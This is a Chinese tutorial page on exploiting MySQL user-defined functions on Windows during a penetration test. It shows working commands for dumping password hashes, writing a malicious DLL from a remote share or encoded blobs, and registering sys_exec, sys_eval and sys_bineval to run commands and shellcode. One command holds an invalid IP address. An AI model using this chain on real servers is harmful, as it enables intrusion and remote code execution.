您好,登錄后才能下訂單哦!
本篇內容主要講解“怎么利用MySQL UDF進行滲透測試”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“怎么利用MySQL UDF進行滲透測試”吧!
最近,我對某金融機構做滲透時發現他們擁有自己的內網,并且后端使用的是MySQL 5.7 64-bit。根據以往的經驗,我的合作伙伴大多都使用的是MSSQL,因此在我看來這是一個非常罕見的場景。我在web應用中發現了SQL注入漏洞,使我可以從mysql.user dump用戶名和密碼,并且我還發現我的當前權限允許我將文件寫入到磁盤。這也是促使我寫這篇文章的原因,希望向大家分享關于在Windows下UDF庫注入到MySQL并獲取代碼執行和shell的技巧。此外,通過谷歌搜索相關技術時,我也發現網上關于這方面的資源非常的少。因此,也希望通過我的分享讓你對該技術點有更加深入的理解。
為了重現該場景,我將托管最新的MySQL 5.7.21作為我的測試環境,并將‘–secure-file-priv=’參數設置為了空啟動mysqld server。這樣我便能在內網中使用基于union注入來檢索 mysql.user表中的用戶名和密碼。需要提醒大家的是,在MySQL 5.7及更高版本中,密碼列不再是‘password’而是‘authentication_string’。
# MySQL 5.6 and below select host, user, password from mysql.user; # MySQL 5.7 and above select host, user, authentication_string from mysql.user;
注意,如果你已擁有憑據,則可以使用metasploit的mysql_hashdump.rb輔助模塊來dump MySQL哈希值。當我寫這篇博文時,腳本需要更新以兼容MySQL 5.7,你可以在這里查看我的pull request。
用戶'osanda'的主機列允許來自192.168.0.*的連接,這意味著我們可以使用該用戶從該IP范圍進行遠程連接。我破解了密碼哈希并獲得了明文密碼。
登錄到MySQL后,我查看了當前用戶的權限。
select * from mysql.user where user = substring_index(user(), '@', 1) ;
可以看到該用戶的權限非常的高,并且可以對文件進行讀寫操作,因此我們可以考慮編寫UDF DLL庫以獲得代碼執行的能力。
UDF表示的是MySQL中的用戶自定義函數。這就像在DLL中編寫自己的函數并在MySQL中調用它們一樣。我們將使用“lib_mysqludf_sys_64.dll”DLL庫,你可以在Metasploit框架中找到它。你可以使用基于系統架構的UDF庫,它們在Metasploit的安裝目錄“/usr/share/metasploit-framework/data/exploits/mysql/”。點擊這里查看下載。
首先,我們分別通過'@@ version_compile_os'和'@@ version_compile_machine',來獲取當前數據庫及操作系統的架構情況。結果如下,當前的系統環境為windows 64位,MySQL也是64位的。
MySQL [(none)]> select @@version_compile_os, @@version_compile_machine; +----------------------+---------------------------+ | @@version_compile_os | @@version_compile_machine | +----------------------+---------------------------+ | Win64 | x86_64 | +----------------------+---------------------------+ MySQL [(none)]> show variables like '%compile%'; +-------------------------+--------+ | Variable_name | Value | +-------------------------+--------+ | version_compile_machine | x86_64 | | version_compile_os | Win64 | +-------------------------+--------+
從MySQL 5.0.67開始,UDF庫必須包含在plugin文件夾中,我們可以使用'@@ plugin_dir'全局變量找到該目錄。該變量可以在mysql.ini文件中查看和編輯。
MySQL [(none)]> select @@plugin_dir ; +--------------------------------------------------------------+ | @@plugin_dir | +--------------------------------------------------------------+ | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ | +--------------------------------------------------------------+ 1 row in set (0.02 sec) MySQL [(none)]> show variables like 'plugin%'; +---------------+--------------------------------------------------------------+ | Variable_name | Value | +---------------+--------------------------------------------------------------+ | plugin_dir | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ | +---------------+--------------------------------------------------------------+
你可以通過mysqld更改plugin的目錄位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另一種方法是編寫一個新的mysql配置文件,并通過–defaults-file參數將其傳遞給mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的內容如下:
[mysqld] plugin_dir = C:\\temp\\plugins\\
而在MySQL 5.0.67以下的版本中,文件必須位于系統動態鏈接器的搜索目錄中。這同樣適用于4.1.25之前的版本,具體可參考以下文檔。
從MySQL 5.0.67開始,文件必須位于plugin目錄中。該目錄取決于plugin_dir系統變量的值。如果plugin_dir的值為空,則參照5.0.67之前即文件必須位于系統動態鏈接器的搜索目錄中。
從MySQL 4.1.25開始,文件必須位于plugin目錄中。該目錄取決于plugin_dir系統變量的值。如果plugin_dir的值為空,則參照4.1.25之前即文件必須位于系統動態鏈接器的搜索目錄中。
在舊版本中,你可以將DLL文件上傳到以下位置并創建新的UDF函數。
@@datadir
@@basedir\bin
C:\windows
C:\windows\system
C:\windows\system32
有很多方法可以做到這一點。 load_file函數支持網絡路徑。如果你可以將DLL復制到網絡共享中,那么你就可以直接加載并將它寫入磁盤。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
另一種方法是將整個DLL文件以十六進制編碼后寫入磁盤。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
還有一種方法是創建一個表并將二進制數據插入到十六進制編碼流中。你可以通過insert語句或將其分解為多個部分,然后通過update語句拼接二進制數據。
create table temp(data longblob); insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
或者你也可以直接從磁盤將文件從網絡共享加載到上面創建的表中,或使用“快速導入數據(load data infile)”語句在本地加載。將文件像上面顯示的那樣轉換為十六進制,并在寫入磁盤時解碼。
load data infile '\\\\192.168.0.19\\network\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
這里有個好消息,就是從MySQL 5.6.1和MariaDB 10.0.5開始,新增了to_base64和from_base64函數。如果你是一個善于繞過SQL注入WAF的人,相信你已經在使用這些函數了(提示:路由查詢注入)。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.b64';
你可以編輯base64文件并通過以下方式將其dump到插件目錄。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4 s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
之后,你可以像這樣將整個文件傳遞給mysql。
mysql -h292.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
你也可以從網絡共享寫入base64編碼文件或使用“快速導入數據(load data infile)”語句在本地加載并通過以下語句dump。
select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
在網上我翻閱了不少的資料,但大多都只介紹了Metasploit內部這個DLL中的'sys_exec'函數。那么除了這個函數之外,其它的函數是否也能為我們所用?通過導出該目錄,我發現作者也寫了許多其它非常實用的函數。如下所示:
該函數將在“系統”函數內傳遞參數'args-> args [0]'。你可以使用它在目標機器上執行系統命令。
安裝
create function sys_exec returns int soname 'udf.dll';
驗證
select * from mysql.func where name = 'sys_exec'; +----------+-----+---------+----------+ | name | ret | dl | type | +----------+-----+---------+----------+ | sys_exec | 2 | udf.dll | function | +----------+-----+---------+----------+
刪除
drop function sys_exec;
該函數將執行系統命令并在屏幕上通過標準輸出顯示。
安裝
create function sys_eval returns string soname 'udf.dll';
驗證
select * from mysql.func where name = 'sys_eval';
刪除
drop function sys_eval;
示例
select sys_eval('dir');
該函數使用'getenv'函數返回系統變量的值。
安裝
create function sys_get returns string soname 'udf.dll';
驗證
select * from mysql.func where name = 'sys_get';
刪除
Drop function sys_get;
示例
Select sys_get('longonserver');
我在這個DLL里面找到了一個非常實用的函數'sys_bineval'。該函數將使用'VirtualAlloc'API分配RWX內存,并使用'strcpy'將'args-> args [0]'復制到新分配的內存中。然后,這個緩沖區被傳遞給'CreateThread'API來產生一個新的線程。
如果我們查看'CreateThread'API,可以看到它使用'strcpy'復制緩沖區的'lpParameter'作為指針傳遞給線程的變量。'StartAddress'中的函數將直接移動'lpParamter'并調用ptr rax,這將改變RIP到我們的shellcode。
安裝
create function sys_bineval returns int soname 'udf.dll';
驗證
select * from mysql.func where name = 'sys_bineval';
刪除
drop function sys_bineval;
示例
然而,我并沒有在64位的平臺成功執行該函數,在32位的平臺該函數正常執行。你可以直接打開原始二進制文件或將其編碼為base64或十六進制并實用該函數執行。
select sys_bineval(from_base64(load_file('./calc.b64')));
我注意到這些外部UDF函數在拆解代碼中沒有做適當的異常處理。因此,在調用這些函數時稍有錯誤就會導致mysqld.exe服務器崩潰。
到此,相信大家對“怎么利用MySQL UDF進行滲透測試”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。